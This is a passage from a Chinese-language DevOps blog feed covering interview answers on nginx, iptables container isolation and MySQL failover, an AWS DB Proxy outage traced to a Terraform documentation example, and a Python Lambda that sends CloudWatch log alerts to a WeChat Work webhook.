class="string">        gzip            on;</span></span><br><span class="line"><span class="string">        gzip_comp_level 2;</span></span><br><span class="line"><span class="string">        gzip_min_length 1000;</span></span><br><span class="line"><span class="string">        gzip_proxied    expired no-cache no-store private auth;</span></span><br><span class="line"><span class="string">        gzip_types      text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript;</span></span><br><span class="line"><span class="string">        expires         365d;</span></span><br><span class="line"><span class="string">        access_log      off;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    location / &#123;</span></span><br><span class="line"><span class="string">        if (<span class="variable">$google_bot</span> = &#x27;true&#x27;) &#123;</span></span><br><span class="line"><span class="string">            proxy_pass https://server_bot;</span></span><br><span class="line"><span class="string">            proxy_ssl_certificate         /etc/nginx/client.pem;</span></span><br><span class="line"><span class="string">            proxy_ssl_certificate_key     /etc/nginx/client.key;</span></span><br><span class="line"><span class="string">            proxy_ssl_protocols           TLSv1 TLSv1.1 TLSv1.2;</span></span><br><span class="line"><span class="string">            proxy_ssl_ciphers             HIGH:!aNULL:!MD5;</span></span><br><span class="line"><span class="string">            proxy_ssl_trusted_certificate /etc/nginx/trusted_ca_cert.crt;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            proxy_ssl_verify        on;</span></span><br><span class="line"><span class="string">            proxy_ssl_verify_depth  2;</span></span><br><span class="line"><span class="string">            proxy_ssl_session_reuse on;</span></span><br><span class="line"><span class="string">        &#125;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    root /www/xxx/;</span></span><br><span class="line"><span class="string">    index index.html public/index.html /api/index;</span></span><br><span class="line"><span class="string">&#125;</span></span><br></pre></td></tr></table></figure><h3 id="A3"><a href="#A3" class="headerlink" title="A3"></a>A3</h3><p>原来给出来的四个需求：</p><ol><li>只有Docker_A 与 Docker_B 之间可以相互通信，Docker_C 不能访问其它两个容器;</li><li>只允许内网IP为 192.168.1.1 - 192.168.1.30 的内网IP访问所有容器;</li><li>Docker_A:8080 与 Docker_C:80 通过相同端口对外网提供服务, Docker_B:3316 不对外网提供服务;</li><li>所有配置需要固化，重启服务器自动生效;</li></ol><h4 id="3-1"><a href="#3-1" class="headerlink" title="3.1"></a>3.1</h4><p>因为如果不做特殊设置，Docker 容器之间是可以直接互通的，所以这里只需要限制 Docker_C 不能访问 Docker_A 和 Docker_B 即可</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">iptables -I DOCKER-USER -s 172.17.0.2 -d 172.17.0.4 -j REJECT</span><br><span class="line">iptables -I DOCKER-USER -s 172.17.0.3 -d 172.17.0.4 -j REJECT</span><br></pre></td></tr></table></figure><p>这样设置完毕，反向 172.17.0.4-&gt;172.17.0.2 和 172.17.0.4-&gt;172.17.0.3 也是不通的，因为回包被拒了。所以反向的 rules 就不用写了。</p><h4 id="3-2"><a href="#3-2" class="headerlink" title="3.2"></a>3.2</h4><p>第二问有些没太理解，理论上来讲，Docker 容器的网络跟 host 外面是隔离的，无论是 host 上 eth_private 还是 eth_public 上来的流量，应该都是不能直接访问任何容器的。</p><p>我只能大概用管饭文档上的一个利子来试着看是不是满足需求：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">iptables -I DOCKER-USER -m iprange \</span><br><span class="line">    -i eth_private ! --src-range 192.168.1.1-192.168.1.30 \</span><br><span class="line">    -j DROP</span><br></pre></td></tr></table></figure><h4 id="3-3"><a href="#3-3" class="headerlink" title="3.3"></a>3.3</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">iptables -t filter -A DOCKER -d 172.17.0.2/32 \</span><br><span class="line">    -i eth_public -o Docker0 -p tcp \</span><br><span class="line">    -m tcp --dport 8080 -j ACCEPT</span><br><span class="line">iptables -t filter -A DOCKER -d 172.17.0.3/32 \</span><br><span class="line">    -i eth_public -o Docker0 -p tcp \</span><br><span class="line">    -m tcp --dport 80 -j ACCEPT</span><br><span class="line">iptables -t nat -A POSTROUTING -s 172.17.0.2/32 \</span><br><span class="line">    -d 172.17.0.2/32 -p tcp -m tcp \</span><br><span class="line">    --dport 8080 -j MASQUERADE</span><br><span class="line">iptables -t nat -A POSTROUTING -s 172.17.0.3/32 \</span><br><span class="line">    -d 172.17.0.3/32 -p tcp -m tcp \</span><br><span class="line">    --dport 80 -j MASQUERADE</span><br><span class="line"><span class="comment"># 以上两句我其实也没想明白，我是看了 Docker host 的 iptables 的实际情况照着抄的</span></span><br><span class="line">iptables -t nat -A DOCKER -i eth_public -p tcp \</span><br><span class="line">    -m tcp --dport 8080 -j DNAT \</span><br><span class="line">    --to-destination 172.17.0.2:8080</span><br><span class="line">iptables -t nat -A DOCKER -i eth_public -p tcp \</span><br><span class="line">    -m tcp --dport 80 -j DNAT \</span><br><span class="line">    --to-destination 172.17.0.3:80</span><br></pre></td></tr></table></figure><h4 id="3-4"><a href="#3-4" class="headerlink" title="3.4"></a>3.4</h4><p>这个问题的答案依 Linux 发布版的不同以及具体软件的不同而不同</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">iptables-save &gt; /etc/iptables/rules.v4</span><br><span class="line"><span class="comment"># 或者是红帽系的话</span></span><br><span class="line">iptables-save &gt; /etc/sysconfig/iptables</span><br><span class="line"><span class="comment"># or</span></span><br><span class="line">service iptables save</span><br></pre></td></tr></table></figure><h3 id="A4"><a href="#A4" class="headerlink" title="A4"></a>A4</h3><p>这道题我基本上考虑的最多的是怎么样保持数据一致性。系统可用性的考虑反倒是其次。</p><h4 id="修改域名解析"><a href="#修改域名解析" class="headerlink" title="修改域名解析"></a>修改域名解析</h4><ul><li>从域名 mysql-slave.xxx.com 解析，将 slave_1 摘出来</li><li>尽量将域名 mysql-master.xxx.com 到 master 的指向去掉</li></ul><h4 id="逐级设置成-readonly"><a href="#逐级设置成-readonly" class="headerlink" title="逐级设置成 readonly"></a>逐级设置成 readonly</h4><ul><li>将 master 设置成 readonly(<code>set global read_only=ON;set global super_read_only=ON;</code>)</li><li>等 slave_1 和 slave_2 的数据跟 master 同步之后（<code>show slave status</code> 里看），将 slave_1 和 slave_2 设置为 readonly</li><li>最后等 slave_3 的数据同步之后，将其也设为 readonly</li></ul><h4 id="slave-1-变成-master"><a href="#slave-1-变成-master" class="headerlink" title="slave_1 变成 master"></a>slave_1 变成 master</h4><ul><li>slave_3 从 slave_1 下面拆出来，挂到 slave_2 下面（用命令 <code>STOP SLAVE IO_THREAD;CHANGE MASTER TO slave_2;START SLAVE IO_THREAD</code>）</li><li>slave_1 上停掉 slave，起来 master（用命令 <code>stop slave;reset slave all;show master status</code>）</li><li>slave_1 上还要启用 replication 的用户</li></ul><h4 id="slave-2-挂到-slave-1-new-master-下面"><a href="#slave-2-挂到-slave-1-new-master-下面" class="headerlink" title="slave_2 挂到 slave_1(new master) 下面"></a>slave_2 挂到 slave_1(new master) 下面</h4><ul><li>slave_2 上执行 <code>STOP SLAVE IO_THREAD;CHANGE MASTER TO slave_1;START SLAVE IO_THREAD</code></li></ul><h4 id="master-变成-slave"><a href="#master-变成-slave" class="headerlink" title="master 变成 slave"></a>master 变成 slave</h4><ul><li>master 上执行 <code>reset master; reset slave all; CHANGE MASTER TO slave_1</code></li></ul><h4 id="slave-3-从-slave-2-下拆出来，挂到-master-下面"><a href="#slave-3-从-slave-2-下拆出来，挂到-master-下面" class="headerlink" title="slave_3 从 slave_2 下拆出来，挂到 master 下面"></a>slave_3 从 slave_2 下拆出来，挂到 master 下面</h4><ul><li>slave_3 下执行 <code>STOP SLAVE IO_THREAD;CHANGE MASTER TO master;START SLAVE IO_THREAD</code></li></ul><h4 id="收尾工作：关掉-readonly-并改回域名解析"><a href="#收尾工作：关掉-readonly-并改回域名解析" class="headerlink" title="收尾工作：关掉 readonly 并改回域名解析"></a>收尾工作：关掉 readonly 并改回域名解析</h4><ul><li>从 slave_1(new master) 开始，逐级关掉 readonly(<code>set global read_only=OFF;</code>)</li><li>确认数据同步正常之后，修改域名解析：<ul><li>将域名 mysql-slave.xxx.com 将 master（new slave） 加进去</li><li>将域名 mysql-master.xxx.com 指向 slave_1(new master)</li></ul></li></ul><h3 id="A5"><a href="#A5" class="headerlink" title="A5"></a>A5</h3><blockquote><p>2006 MySQL server has gone away</p></blockquote><p>这个错误的坑我之前刚刚踩过（说是刚刚，其实也是有几个月了），这个错误出现的原因主要就是因为服务器端认为某个连接的 session 超时了，就给强制断掉了，这边客户端不知道，还在傻乎乎的发消息，于是就会得到错误提示：<code>has gone away</code>，控制这种超时的参数有两个：<code>wait_timeout</code> 和 <code>interactive_timeout</code>，但是实际上影响超时的是 session 级别的 <code>wait_timeout</code> 参数。</p><p>而 session 级别的 <code>wait_timeout</code> 参数在客户端交互式登录（通常的 MySQL 客户端登录）时，继承的是 global 的 <code>interactive_timeout</code> 参数；而在非交互式登录（比如程序或 jdbc 这种连上来的情况），继承的是 global 级别的 <code>wait_timeout</code> 参数。</p><p>所以解决这个问题也有很多办法，最简单的，将这两个参数的值调大。其实这两个参数的缺省值是 8 小时，已经不小了。</p><p>要是仅从排错的角度出发的话，那么肯定要 MySQL server 要看日志、HAProxy 要看日志，出错的客户端要看日志，还要在出错的时候看 MySQL server 的状态（<code>show processliss</code> 什么的）</p><p>我刚看了有文档说，HAProxy 的 timeout server 和 timeout client 的两个值要跟 MySQL server 上的 session 级的 wait_timeout 一致。</p><p>还有，客户端连 HAProxy 的 MySQL 代理时，结束时要显式的主动断开连接。这个我想还好，最怕就是有连接池连 HAProxy 的 MySQL 的代理，我们当时踩坑也是因为有连接池……如果有，大概率是连接池的问题。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>我的答案不一定都对，因为我也没有环境去具体测试，但如果这些题是工作中给到我的真实工作内容，我有信心很好的完成他们。</p><hr><p><em>本文由 <a href="https://ming.theyan.gs/">老杨</a> 原创，转载请注明出处。</em></p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;简介&quot;&gt;&lt;a href=&quot;#简介&quot; class=&quot;headerlink&quot; title=&quot;简介&quot;&gt;&lt;/a&gt;简介&lt;/h2&gt;&lt;p&gt;这是之前有一家海外公司招 DevOps 工程师，我投了简历，期望薪资写了薪资范围的最下限，然后被给了份题让先做一下，于是便有了这篇“水”文。&lt;/p&gt;
&lt;p&gt;当然，最终我并没有拿到这个 offer，甚至连下一轮见 CTO 的机会都没有。（关于这个，我其实心里还是有一点小小的不服气的。）&lt;/p&gt;</summary>
    
    
    
    
    <category term="docker" scheme="https://ming.theyan.gs/tags/docker/"/>
    
    <category term="bash" scheme="https://ming.theyan.gs/tags/bash/"/>
    
    <category term="interview" scheme="https://ming.theyan.gs/tags/interview/"/>
    
    <category term="DevOps" scheme="https://ming.theyan.gs/tags/DevOps/"/>
    
    <category term="mongodb" scheme="https://ming.theyan.gs/tags/mongodb/"/>
    
    <category term="nginx" scheme="https://ming.theyan.gs/tags/nginx/"/>
    
    <category term="haproxy" scheme="https://ming.theyan.gs/tags/haproxy/"/>
    
    <category term="mysql" scheme="https://ming.theyan.gs/tags/mysql/"/>
    
    <category term="iptables" scheme="https://ming.theyan.gs/tags/iptables/"/>
    
    <category term="sftp" scheme="https://ming.theyan.gs/tags/sftp/"/>
    
  </entry>
  
  <entry>
    <title>Terraform 官方文档配置导致的 DB Proxy 故障案例</title>
    <link href="https://ming.theyan.gs/2023/12/Terraform%20%E5%AE%98%E6%96%B9%E6%96%87%E6%A1%A3%E9%85%8D%E7%BD%AE%E5%AF%BC%E8%87%B4%E7%9A%84%20DB%20Proxy%20%E6%95%85%E9%9A%9C%E6%A1%88%E4%BE%8B/index.html"/>
    <id>https://ming.theyan.gs/2023/12/Terraform%20%E5%AE%98%E6%96%B9%E6%96%87%E6%A1%A3%E9%85%8D%E7%BD%AE%E5%AF%BC%E8%87%B4%E7%9A%84%20DB%20Proxy%20%E6%95%85%E9%9A%9C%E6%A1%88%E4%BE%8B/index.html</id>
    <published>2023-12-16T12:33:19.000Z</published>
    <updated>2023-12-18T13:34:34.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="起因"><a href="#起因" class="headerlink" title="起因"></a>起因</h2><p>在搭建新环境时，我们选择了 OpenTofu——这是在 Terraform 更改了 license 之后从 Terraform 代码库分支并且开放源码的工具——用于构建VPC、RDS、Redis等基础设施。</p><p>但当基础设施就位、开始部署应用程序时，问题出现了。每次部署都不成功，查看日志说是 JDBC 相关错误，DB Proxy 的日志中充斥着诸多 “internal error”，却若隐若现关于具体错误原因的描述。尝试直接通过 MySQL 客户端连接 DB Proxy 时，大多数命令执行都引发错误（help 命令除外）提示：</p><blockquote><p>ERROR 1105 (HY000): Unknown error</p></blockquote><p>错误截图参见：<br><img src="https://raw.githubusercontent.com/haw-haw/image-hosting/master/img/Screenshot%202024-04-24%20at%2021.31.11.png"></p><span id="more"></span><h2 id="问题排查"><a href="#问题排查" class="headerlink" title="问题排查"></a>问题排查</h2><p>经过一系列尝试后，我联系了 AWS 的客服，并提交了一个 case。经过一整天（案例仍在 “work in progress”）等待后，AWS 给出了反馈。在一串冗长的信息之后，技术支持终于指出了潜在有用的信息，提到如果 <code>parameters</code> 中的 <code>init_query</code> 被设置为 <code>&quot;SET x=1, y=2&quot;</code> 时，可能会触发这个问题。</p><p>网络上也有人分享了 <a href="https://github.com/hashicorp/terraform-provider-aws/issues/34747">类似的困境</a>。</p><p>这让我想起在 OpenTofu 中配置 DB Proxy（其实是在资源 <code>aws_db_proxy_default_target_group</code> 里） 时，我确实设定了 <code>init_query = &quot;SET x=1, y=2&quot;</code>。为什么会这样呢？因为这是遵循了 Terraform（OpenTofu）官方文档给出的示例：<a href="https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_proxy_default_target_group">Resource: aws_db_proxy_default_target_group</a>，文档截图如下：<br><img src="https://raw.githubusercontent.com/haw-haw/image-hosting/master/img/Screenshot%202024-04-26%20at%2011.21.32.png"></p><p>尽管我仔细阅读了关于 <code>init_query</code> 的文档说明，做过 MySQL DBA 的我也明确知道 <code>init_query</code> 的含义和用途，但出于对官方文档示例的信赖，还是采纳了这一配置。</p><h2 id="解决方案"><a href="#解决方案" class="headerlink" title="解决方案"></a>解决方案</h2><p>解决问题过程颇费周折。初始时，我尝试在 <code>db_proxy.tf</code> 中注释掉 <code>init_query</code> 相关行，并执行 <code>tofu play; tofu apply</code> 进行更改。尽管提示显示已变更，web 控制台的显示却未有更新。于是，我又把 <code>init_query</code> 设置为空值后重新运行命令。提示虽然依旧显示已修改，但是 web 控制台的状态仍然未变。最终，我不得不直接在 web 控制台进行修改才得以生效。之后，再次运行 <code>tofu plan</code> 确认 Terraform(OpenTofu) 状态与控制台同步，这才安心。</p><h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2><p>本案例告诉我们，即便是官方文档，也不应该盲目信任。重要的是深入理解配置中每个参数的具体含义和必要性，否则可能会带来意想不到的麻烦。</p><h2 id="迷惑性的问题"><a href="#迷惑性的问题" class="headerlink" title="迷惑性的问题"></a>迷惑性的问题</h2><p>这个问题起初可能并未被触发，因为最初（用 OpenTofu）构建完 DB Proxy 后我肯定进行了连接测试的，当时并未发现问题。而且就在部署问题应用（java）之前，不论是 Python 还是 Node.js 应用，均未出现部署错误（ Java 项目可能最初出错是因为角色没有 VPC access 权限，但权限解决后部署时还报错则是因为那个时候我已经触发了 DB Proxy 的配置问题让其服务几乎不可用了）。</p><p>DB Proxy 正式被触发故障是在尝试将另一环境的 RDS 表结构导入时。我是通过 DB Proxy 来进行数据导入的，当时未导入完成便报错失败，从此任何命令（除了 <code>help</code> 命令）都返回错误：<code>ERROR 1105 (HY000): Unknown error</code>。这次故障被触发的原因和机理也非常值得研究。</p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;起因&quot;&gt;&lt;a href=&quot;#起因&quot; class=&quot;headerlink&quot; title=&quot;起因&quot;&gt;&lt;/a&gt;起因&lt;/h2&gt;&lt;p&gt;在搭建新环境时，我们选择了 OpenTofu——这是在 Terraform 更改了 license 之后从 Terraform 代码库分支并且开放源码的工具——用于构建VPC、RDS、Redis等基础设施。&lt;/p&gt;
&lt;p&gt;但当基础设施就位、开始部署应用程序时，问题出现了。每次部署都不成功，查看日志说是 JDBC 相关错误，DB Proxy 的日志中充斥着诸多 “internal error”，却若隐若现关于具体错误原因的描述。尝试直接通过 MySQL 客户端连接 DB Proxy 时，大多数命令执行都引发错误（help 命令除外）提示：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ERROR 1105 (HY000): Unknown error&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;错误截图参见：&lt;br&gt;&lt;img src=&quot;https://raw.githubusercontent.com/haw-haw/image-hosting/master/img/Screenshot%202024-04-24%20at%2021.31.11.png&quot;&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="AWS" scheme="https://ming.theyan.gs/tags/AWS/"/>
    
    <category term="Terraform" scheme="https://ming.theyan.gs/tags/Terraform/"/>
    
    <category term="OpenTofu" scheme="https://ming.theyan.gs/tags/OpenTofu/"/>
    
    <category term="db_proxy_default_target_group" scheme="https://ming.theyan.gs/tags/db-proxy-default-target-group/"/>
    
    <category term="RDS" scheme="https://ming.theyan.gs/tags/RDS/"/>
    
    <category term="db_proxy" scheme="https://ming.theyan.gs/tags/db-proxy/"/>
    
  </entry>
  
  <entry>
    <title>通过实时监控日志里的敏感信息来实现对应用的监控报警</title>
    <link href="https://ming.theyan.gs/2023/11/%E9%80%9A%E8%BF%87%E5%AE%9E%E6%97%B6%E7%9B%91%E6%8E%A7%E6%97%A5%E5%BF%97%E9%87%8C%E7%9A%84%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%9D%A5%E5%AE%9E%E7%8E%B0%E5%AF%B9%E5%BA%94%E7%94%A8%E7%9A%84%E7%9B%91%E6%8E%A7%E6%8A%A5%E8%AD%A6/index.html"/>
    <id>https://ming.theyan.gs/2023/11/%E9%80%9A%E8%BF%87%E5%AE%9E%E6%97%B6%E7%9B%91%E6%8E%A7%E6%97%A5%E5%BF%97%E9%87%8C%E7%9A%84%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%9D%A5%E5%AE%9E%E7%8E%B0%E5%AF%B9%E5%BA%94%E7%94%A8%E7%9A%84%E7%9B%91%E6%8E%A7%E6%8A%A5%E8%AD%A6/index.html</id>
    <published>2023-11-25T11:37:31.000Z</published>
    <updated>2023-11-27T13:18:25.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h2><p>项目有一些非常重要的后台应用是跑在 AWS 的 lambda 上的，老板和产品非常关注这些应用的执行情况，一旦出错，都会是很严重的故障。</p><h2 id="方案变迁"><a href="#方案变迁" class="headerlink" title="方案变迁"></a>方案变迁</h2><p>前面做过一些基础设施级别的监控报警，如：<a href="/2023/09/%E7%9B%91%E6%8E%A7%20AWS%20%E7%9A%84%20RDS%20%E5%B9%B6%E9%80%9A%E8%BF%87%E4%BC%81%E4%B8%9A%E5%BE%AE%E4%BF%A1%E6%8A%A5%E8%AD%A6/index.html">监控 AWS 的 RDS 并通过企业微信来报警</a>，那个完全是利用基础设施自动打到 CloudWatch 的基础的 metrics 来做的。</p><p>于是，我这里下意识的就想利用现有的 CloudWatch 里现成的 Metrics 来做这个事情，于是我就弄了三个（种）监控：</p><span id="more"></span><ul><li>利用<a href="https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/Best_Practice_Recommended_Alarms_AWS_Services.html#Lambda">官方文档</a> 里提到的 lambda 的 Errors 这个基础 Metric 做了一个</li><li>利用<a href="https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/Best_Practice_Recommended_Alarms_AWS_Services.html#ApiGateway">官方文档</a> 里提到的 API Gateway 的基础 Metrics: 4XXError 和 5XXError 做了一个（其实是两个，4XX、5XX 各一个）</li><li>然后又用给 lambda function 的日志新建 metric filter 的方法，新建了一个 metric，用来统计日志里敏感信息信息的次数，最后在 CloudWatch 里用这个新建的 metric 来做的报警</li></ul><p>用这三种方案有一个好处，就是可以沿用之前已有的<a href="/2023/09/%E7%9B%91%E6%8E%A7%20AWS%20%E7%9A%84%20RDS%20%E5%B9%B6%E9%80%9A%E8%BF%87%E4%BC%81%E4%B8%9A%E5%BE%AE%E4%BF%A1%E6%8A%A5%E8%AD%A6/index.html">监控 AWS 的 RDS 并通过企业微信来报警</a>里的 <code>CloudWatch</code>-&gt;<code>SNS</code>-&gt;<code>Lambda function</code> 这种现成的框架。</p><p>但等做完了，测试过报警信息了，才发现这三种方案都有一个共同的缺点：这三种都是基于 metrics 来做的报警，但是 metrics 其实只关注 metrics 的数量，报警依赖的是数量跟阈值的比较，报出来的上下文信息也只能是老状态是啥、新状态是啥；为什么触发报警（metric 次数超过阈值什么的），完完全全不能带出原始日志里的信息。所以，往往关心出错具体信息的技术收到报警以后也会一头雾水，完全不知道哪里出错。</p><p>所以，改方案了，在重要的 lambda function 的日志里，新建一个 Lambda subscribtion filter，设置当在日志里发现敏感信息后，触发一个 Lambda function: A。在这个名叫 A 的 Lambda function 里，实现报警的功能。这个方案神似当年我们在实体机时代通过 <code>tail -f xxxx.log | grep &quot;xxxx&quot; | /path/to/a.py</code> 来检测重要程序的日志里的关键词“xxxx”来报警的套路。</p><h2 id="具体步骤"><a href="#具体步骤" class="headerlink" title="具体步骤"></a>具体步骤</h2><h3 id="编写-Lambda-function"><a href="#编写-Lambda-function" class="headerlink" title="编写 Lambda function"></a>编写 Lambda function</h3><p>名叫 “A” 的报警 Lambda function 的代码如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> gzip</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> http.client</span><br><span class="line"><span class="keyword">import</span> urllib.parse</span><br><span class="line"></span><br><span class="line">WEBHOOK_TOKEN = os.environ[<span class="string">&#x27;WX_TOKEN&#x27;</span>]  <span class="comment"># 你的企业微信 Webhook Token</span></span><br><span class="line">WEBHOOK_URL = <span class="string">&quot;qyapi.weixin.qq.com&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">send_to_wechat_work</span>(<span class="params">account_id, region_name, log_group_name, log_stream_name, message</span>):</span><br><span class="line">    <span class="comment"># URL编码日志组和日志流名称</span></span><br><span class="line">    log_group_encoded = urllib.parse.quote(log_group_name, safe=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">    log_stream_encoded = urllib.parse.quote(log_stream_name, safe=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">    <span class="comment"># 构造CloudWatch日志链接</span></span><br><span class="line">    log_url = <span class="string">f&quot;https://console.aws.amazon.com/cloudwatch/home?region=<span class="subst">&#123;region_name&#125;</span>#logsV2:log-groups/log-group/<span class="subst">&#123;log_group_encoded&#125;</span>/log-events/<span class="subst">&#123;log_stream_encoded&#125;</span>&quot;</span></span><br><span class="line">    <span class="comment"># 创建企业微信消息格式</span></span><br><span class="line">    wechat_msg = &#123;</span><br><span class="line">        <span class="string">&quot;msgtype&quot;</span>: <span class="string">&quot;markdown&quot;</span>,</span><br><span class="line">        <span class="string">&quot;markdown&quot;</span>: &#123;</span><br><span class="line">            <span class="string">&quot;content&quot;</span>: <span class="string">f&quot;#### :rotating_light: Lambda Error Alert :rotating_light:\n&quot;</span></span><br><span class="line">                       <span class="string">f&quot;**Account ID:**<span class="subst">&#123;account_id&#125;</span>\n\n&quot;</span></span><br><span class="line">                       <span class="string">f&quot;**Log Group:**<span class="subst">&#123;log_group_name&#125;</span>\n\n&quot;</span></span><br><span class="line">                       <span class="string">f&quot;**Log Stream:**<span class="subst">&#123;log_stream_name&#125;</span>\n\n&quot;</span></span><br><span class="line">                       <span class="string">f&quot;**Message:**\n\n&quot;</span></span><br><span class="line">                       <span class="string">f&quot;```\n<span class="subst">&#123;message&#125;</span>\n```\n\n&quot;</span>  <span class="comment"># Markdown code block</span></span><br><span class="line">                       <span class="string">f&quot;[Click here to view the log](<span class="subst">&#123;log_url&#125;</span>)&quot;</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment"># 发送POST请求至企业微信</span></span><br><span class="line">    conn = http.client.HTTPSConnection(WEBHOOK_URL)</span><br><span class="line">    headers = &#123;<span class="string">&#x27;Content-Type&#x27;</span>: <span class="string">&#x27;application/json&#x27;</span>&#125;</span><br><span class="line">    body = json.dumps(wechat_msg)</span><br><span class="line">    conn.request(<span class="string">&quot;POST&quot;</span>, <span class="string">f&quot;/cgi-bin/webhook/send?key=<span class="subst">&#123;WEBHOOK_TOKEN&#125;</span>&quot;</span>, body, headers)</span><br><span class="line">    response = conn.getresponse()</span><br><span class="line">    data = response.read()</span><br><span class="line">    conn.close()</span><br><span class="line">    <span class="keyword">return</span> data</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">lambda_handler</span>(<span class="params">event, context</span>):</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="comment"># 解压缩日志数据</span></span><br><span class="line">        log_data = base64.b64decode(event[<span class="string">&#x27;awslogs&#x27;</span>][<span class="string">&#x27;data&#x27;</span>])</span><br><span class="line">        uncompressed_data = gzip.decompress(log_data)</span><br><span class="line">        log_events_data = json.loads(uncompressed_data)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Error processing log data: <span class="subst">&#123;<span class="built_in">str</span>(e)&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> &#123;<span class="string">&#x27;statusCode&#x27;</span>: <span class="number">500</span>, <span class="string">&#x27;body&#x27;</span>: json.dumps(<span class="string">&#x27;Error processing log data&#x27;</span>)&#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 获取日志组和流信息，并提取账户 ID 和区域(region)名</span></span><br><span class="line">    log_group_name = log_events_data.get(<span class="string">&#x27;logGroup&#x27;</span>, <span class="string">&#x27;Unknown log group&#x27;</span>)</span><br><span class="line">    log_stream_name = log_events_data.get(<span class="string">&#x27;logStream&#x27;</span>, <span class="string">&#x27;Unknown log stream&#x27;</span>)</span><br><span class="line">    account_id = context.invoked_function_arn.split(<span class="string">&quot;:&quot;</span>)[<span class="number">4</span>]</span><br><span class="line">    region_name = context.invoked_function_arn.split(<span class="string">&quot;:&quot;</span>)[<span class="number">3</span>]</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 过滤并发送每个有效的日志消息</span></span><br><span class="line">    messages_sent = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> log_event <span class="keyword">in</span> log_events_data.get(<span class="string">&#x27;logEvents&#x27;</span>, []):</span><br><span class="line">        message = log_event.get(<span class="string">&#x27;message&#x27;</span>).strip()</span><br><span class="line">        <span class="keyword">if</span> message:  <span class="comment"># 检查消息不是空的或者只包含空白字符</span></span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;message:&quot;</span>, message)</span><br><span class="line">            send_to_wechat_work(account_id, region_name, log_group_name, log_stream_name, message)</span><br><span class="line">            messages_sent += <span class="number">1</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> messages_sent == <span 